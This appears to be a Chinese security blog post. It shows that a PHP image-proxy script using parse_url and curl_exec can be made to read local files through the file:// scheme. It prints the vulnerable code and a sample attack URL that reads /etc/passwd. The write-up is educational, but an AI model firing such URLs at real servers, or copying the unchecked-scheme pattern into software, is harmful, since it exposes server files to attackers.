美文网首页
curl_exec--任意文件读取

curl_exec--任意文件读取

作者: ch3ckr | 来源:发表于2017-11-30 00:11 被阅读136次

今天看到一段代码,如下,主要是使用curl发起网络请求然后返回客户端,这里我请求加载图片。

<?php
  $URL = $_GET['URL'];
  $info = parse_url($URL);
  if($info['host'] != '192.168.224.130')
  {
  echo '目标网址不合法';
  exit;
  }
  $CH = curl_init();
  curl_setopt($CH, CURLOPT_URL, $URL);
  curl_setopt($CH, CURLOPT_HEADER, false);
  curl_setopt($CH, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($CH, CURLOPT_FOLLOWLOCATION, true);// 允许302跳转,默认不开启
  $RES = curl_exec($CH);
  header('CONTENT-TYPE: IMAGE/PNG');// 设置CONTENT-TYPE
  curl_close($CH) ;
  echo $RES;
?>

首先,这里parse_url只是负责字符串解析,并不判断协议真伪,如以下例子。

<?php
$url = 'abc://www.baidu.com/test';
$info = parse_url($url);
var_dump($info);
?>

执行后结果如下:

array(3) {
  ["scheme"]=>
  string(3) "abc"
  ["host"]=>
  string(13) "www.baidu.com"
  ["path"]=>
  string(5) "/test"
}
其次,curl支持file伪协议,利用file伪协议可以获取本地文件系统

直接上攻击测试例子:

http://192.168.224.130/1.php?URL=file://192.168.224.130/etc/passwd

php curl识别出来这是个file协议,他会忽略192.168.224.130,而是直接读取文件/etc/passwd。

reference
1.https://love.ranshy.com/file协议可能会引发的漏洞
2.https://zhuanlan.zhihu.com/p/27898202
3.http://vinc.top/2016/11/22/【ssrf】绕过姿势总结/
4.http://www.cnblogs.com/LittleHann/p/3665062.html

相关文章

  • curl_exec--任意文件读取

    今天看到一段代码,如下,主要是使用curl发起网络请求然后返回客户端,这里我请求加载图片。 首先,这里parse_...

  • X凌OA系统任意文件读取-DES解密

    X凌OA系统任意文件读取-DES解密 一、漏洞描述 深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏...

  • Destoon 任意文件读取

    发布时间:2016-08-29 公开时间:N/A 漏洞类型:变量覆盖 危害等级:高 漏洞编号:xianzhi-20...

  • MYSQL 任意文件读取

    前言 最近看到mysql的任意文件读取,好奇该漏洞如果出现在实际中该是什么样的。 phpmyadmin 读取 利用...

  • 任意文件查看与下载漏洞

    漏洞介绍 利用条件 漏洞危害 任意文件读取 代码形式可如下几种: 任意文件下载 直接下载: 用header()下载...

  • CTFer成长之路-Web入门之任意文件读取漏洞

    任意文件读取漏洞 所谓文件读取漏洞,就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。从整个攻击过程来...

  • julia的CSV包读取csv文件出现系统崩溃

    有一个csv文件,读取可以读取,但是一旦display,就整个内核死机。换一个csv文件,发现可以任意操作。分析原...

  • ics-05

    伪协议文件读取+preg_replace()任意代码执行首先php伪协议读取index.php代码 漏洞点在下面测...

  • Elasticsearch任意文件读取漏洞

    1.漏洞描述:      Elasticsearch由于代码过滤不严,导致在特定目录下会造成任意文件读取,如:ht...

  • 2019-11-10CVE-2019-5418-Ruby on

    Ruby on Rails路径穿越与任意文件读取复现 CVE-2019-5418 编写者:thelostworld...

网友评论

      本文标题:curl_exec--任意文件读取

      本文链接:https://www.haomeiwen.com/subject/tmhmbxtx.html